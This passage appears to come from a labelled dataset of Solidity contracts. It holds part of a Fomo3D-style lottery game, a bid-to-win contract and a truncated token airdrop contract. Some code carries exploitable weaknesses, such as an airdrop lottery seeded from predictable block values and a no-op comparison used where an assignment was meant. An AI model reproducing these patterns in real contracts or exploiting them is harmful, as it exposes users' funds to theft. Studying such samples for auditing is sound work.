uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RP1datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RP1datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RP1datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RP1datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RP1datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RP1datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
RP1datasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RP1events.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.rp1Amount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit RP1events.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RP1events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RP1events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RP1events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(58)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, RP1datasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RP1events.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.rp1Amount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, RP1datasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RP1events.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.rp1Amount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, RP1datasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(RP1datasets.EventReturns memory _eventData_)
private
returns (RP1datasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, RP1datasets.EventReturns memory _eventData_)
private
returns (RP1datasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(RP1datasets.EventReturns memory _eventData_)
private
returns (RP1datasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(58)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _rp1 = (_pot.mul(potSplit_[_winTID].rp1)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_rp1);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
community_addr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_rp1 > 0){
_res = _res.add(_rp1);
}
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.rp1Amount = _rp1;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, RP1datasets.EventReturns memory _eventData_)
private
returns(RP1datasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _rp1;
community_addr.transfer(_com);
uint256 _long = _eth / 100;
marketing_addr.transfer(_long);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit RP1events.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_rp1 = _aff;
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit RP1events.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, RP1datasets.EventReturns memory _eventData_)
private
returns(RP1datasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth.mul(3) / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(18)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, RP1datasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit RP1events.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.rp1Amount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now - rndGap_;
round_[1].end = now + rndInit_ ;
}
}
library RP1datasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 rp1Amount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 rp1;
}
struct PotSplit {
uint256 gen;
uint256 rp1;
}
}
library RP1KeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface RP1externalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 795 |
pragma solidity ^0.4.19;
contract EthDickMeasuringContest {
address public largestPenisOwner;
address public owner;
uint public largestPenis;
uint public withdrawDate;
function EthDickMeasuringContest() public{
owner = msg.sender;
largestPenisOwner = 0;
largestPenis = 0;
}
function () public payable{
require(largestPenis < msg.value);
largestPenis = msg.value;
withdrawDate = now + 2 days;
largestPenisOwner = msg.sender;
}
function withdraw() public{
require(now >= withdrawDate);
require(msg.sender == largestPenisOwner);
largestPenisOwner = 0;
largestPenis = 0;
owner.transfer(this.balance*3/100);
msg.sender.transfer(this.balance);
}
} | 0 | 1,711 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Airdrop {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address owner = 0x0;
uint256 public rate;
modifier isOwner {
assert(owner == msg.sender);
_;
}
event TokenDropped(
address indexed sender,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(ERC20 _token) public
{
require(_token != address(0));
owner = msg.sender;
token = _token;
}
function () external payable {
sendAirDrops(msg.sender);
}
function sendAirDrops(address _beneficiary) public payable
{
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_processAirdrop(_beneficiary, tokens);
emit TokenDropped(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
}
function collect(uint256 _weiAmount) isOwner public {
address thisAddress = this;
owner.transfer(thisAddress.balance);
}
function withdraw(uint256 _tokenAmount) isOwner public {
token.safeTransfer(owner, _tokenAmount);
}
function _preValidatePurchase( address _beneficiary, uint256 _weiAmount) internal
{
require(_beneficiary != address(0));
require(_weiAmount >= 1 * (10 ** 17));
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 seed = _weiAmount.div(1 * (10**9));
return seed.mul(33);
}
function _deliverTokens(
address _beneficiary,
